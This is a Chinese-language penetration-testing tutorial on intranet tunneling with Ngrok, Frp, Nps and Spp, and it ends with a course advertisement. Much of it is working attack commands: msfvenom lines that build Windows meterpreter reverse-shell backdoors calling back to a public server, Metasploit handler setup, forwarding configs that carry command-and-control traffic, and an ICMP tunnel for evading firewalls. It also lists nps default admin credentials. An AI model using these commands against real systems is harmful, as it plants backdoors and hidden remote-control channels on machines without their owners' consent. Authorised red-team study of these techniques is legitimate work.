目录
内网穿透技术
内网穿透原理
实行环境
内网穿透项目
内网穿透:Ngrok
配置服务端
客户端配置
客户端生成后门,等候目的上线
内网穿透:Frp
客户端服务端建立连接
MSF生成后门,等候上线
内网穿透:Nps
服务端搭建配置
客户端配置
MSF生成后门上线
内网穿透:Spp
服务端
客户端
CS配置
总结:内网穿透技术解决了和内网主机连接的问题
内网穿透技术
这个技术可以解决的问题:
- 穿透:实现“内网”控制“内网”,内网主机上线。
- 隧道:解决内网主机协议的限制,实现通讯,之后上线。
内网穿透原理
内网穿透(NAT traversal)是一种技术,用于实现公网与内网之间的通讯连接。
当内网中的设备无法直接从公网访问时,内网穿透技术可以通过一些手段,让公网上的设备可以大概穿透到内网中的设备,建立起通讯连接。
内网穿透的原理可以简朴描述如下:
- NAT(网络地址转换):在常见的网络环境中,内网通常由路由器或防火墙等设备进行网络地址转换(NAT),将内网中的私有IP地址转换为公网可路由的IP地址 。如许,内网设备可以通过NAT设备与公网通讯,但公网无法直接访问内网设备。
- 穿透技术:为了实现内网穿透,必要借助一些特定的技术手段,使公网上的设备可以大概访问到内网中的设备。常见的穿透技术包罗:
- 端口映射(Port Forwarding):通过在路由器上进行端口映射配置,将公网上的某个端口映射到内网中的设备,从而实现对该设备的访问。
- 反向署理(Reverse Proxy):在公网上搭建一个反向署理服务器,将公网请求转发到内网中的设备上。公网设备与反向署理服务器建立连接后,由反向署理服务器将请求转发到内网设备,实现公网访问内网的功能。
- VPN(Virtual Private Network):通过建立VPN连接,将公网和内网连接在一起,使得公网用户可以通过VPN隧道访问内网资源。VPN会创建一个假造的私有网络,将公网设备到场到该网络中,使其可以大概直接访问内网中的设备。
- 云服务:一些云服务提供商提供了内网穿透的解决方案,用户可以通过这些云服务将内网设备暴露到公网上,以实现公网访问内网的需求。
实行环境
目的:xiaodi8.com上线Kali的CS
- 公网主机:xiaodi8.com
- 内网Kali:192.168.1.166
正向连接:Kali主动连接xiaodi8.com,可行
反向连接:xiaodi8.com连接Kali,不可行
为相识决反向连接的问题,必要使用内网穿透技术,实现外部主机连接进入内网。这就是内网技术的意义所在。
内网穿透项目
一般使用工具项目部署,穿透项目:Ngrok,Frp,Spp,Nps,EW(停止更新,不再维护,不保举)
- https://www.ngrok.cc
- https://github.com/esrrhs/spp
- https://github.com/fatedier/frp
- https://github.com/ehang-io/nps
- http://www.rootkiter.com/EarthWorm
复制代码 优点:穿透加密数据,中间平台,防追踪,解决网络问题
内网穿透:Ngrok
项目地址:内网转发
免费版:仅支持三种协议,http,https,tcp
配置服务端
开通隧道,设置Kali内网IP,Port,以及服务器开放的端口
客户端配置
Kali执行客户端,这个过程相当于Kali主动连接域名
- ./sunny clientid 203828291918
复制代码
客户端生成后门,等候目的上线
生成木马
- msfvenom -p windows/meterpreter/reverse_tcp lhost=free.idcfengye.com lport=10039 -f exe -o tcp.exe
复制代码 开启监听
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set lhost 0.0.0.0
- set lport 2233
- run
复制代码 目的上线
内网穿透:Frp
项目地址:https://github.com/fatedier/frp
必要一台服务器
frp是一个专注于内网穿透的高性能的反向署理应用,支持TCP、UDP、HTTP、HTTPS
等多种协议。可以将内网服务以安全、便捷的方式通过具有公网IP节点的中转暴露到公网。
客户端服务端建立连接
服务端
服务器修改配置文件frps.ini 隧道建立绑定在7000端口
- [common] bind_port = 7000
复制代码 启动服务端
客户端
修改配置文件frpc.ini
隧道建立绑定在7000端口
服务端的6000端口受到数据会自动转发到本地的5555端口
- [common]
- server_addr = 47.94.236.117
- server_port = 7000
- [msf]
- type=tcp
- local_ip=127.0.0.1
- local_port=5555
- remote_port=6000
复制代码 启动客户端
客户端与服务端建立连接
MSF生成后门,等候上线
生成后门
- msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6000 -f exe -o frp.exe
复制代码 开启监听
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set LHOST 127.0.0.1
- set LPORT 5555
- exploit
复制代码 上线
内网穿透:Nps
相当于服务端搭建一个ngrok
项目地址:https://github.com/ehang-io/nps
下载项目到服务器,它有一个客户端,一个服务端
nps是一款轻量级、高性能、功能强大的内网穿透署理服务器。目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地付出接口调试、ssh访问、远程桌面,内网dns剖析等等……),此外还支持内网http署理、内网socks5署理、p2p等,并带有功能强大的web管理端。
服务端搭建配置
安装nps
运行nps
默认运行地址
http://IP:8080/
默认登录账号密码
admin/123
创建客户端,生成密匙
添加协议隧道,绑定指向
将访问服务器5566端口的流量发送至客户端的6666端口
客户端配置
连接服务端
- ./npc -server=47.94.236.117:8024 -vkey=uajwhbu9155qh89v #创建客户端后自动生成密钥
复制代码 MSF生成后门上线
生成后门
- msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=5566 -f exe -o nps.exe
复制代码 监听本地6666
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set LHOST 0.0.0.0
- set LPORT 6666
- run
复制代码 上线
内网穿透:Spp
项目地址:GitHub - esrrhs/spp: A simple and powerful
proxy
支持的协议:tcp、udp、udp、icmp、http、kcp、quic
支持的类型:正向署理、反向署理、socks5正向署理、socks5反向署理
在对抗项目中有碰到过一些极度环境,比如目的封了tcp,http等常用出网的协议,但是icmp,dns等协议可能因为业务必要或者管理者安全意识不到位导致没有封干净。
在这种场景下就可以使用这些轻易被忽视的协议进行隧道的搭建。
服务端
服务端运行,监听本地的ICMP流量
- ./spp -type server -proto ricmp -listen 0.0.0.0
复制代码
客户端
受控靶机运行,将本地5555端口流量转发至47.94.236.117 80端口上(TCP封装成ICMP)
- spp -name “test” -type proxy_client -server 47.94.236.117 -fromaddr :5555 -toaddr :80 -proxyproto tcp -proto ricmp
复制代码 服务端收到数据
CS配置
这个CS是运行在服务端的
创建两个监听器:
监听器1:http 47.94.236.117 8081
监听器2:http 127.0.0.1 8082 生成后门放到靶机上执行
上线,生成监听器2的木马,上线监听器1
总结:内网穿透技术解决了和内网主机连接的问题
区别于署理技术,隧道技术,三种技术都有解决通讯的问题,但是侧重不一样
署理技术可以把外网攻击机带进内网进行渗出
隧道技术解决了因为防火墙限制流量不出网的问题
内网穿透解决和内网主机建立连接的问题,可以远程访问内网的服务器
要根据差别使用场景来选择使用。
网络安全工程师(白帽子)企业级学习路线
第一阶段:安全基础(入门)
第二阶段:Web渗出(初级网安工程师)
第三阶段:进阶部分(中级网络安全工程师)
假如你对网络安全入门感兴趣,那么你必要的话可以点击这里 |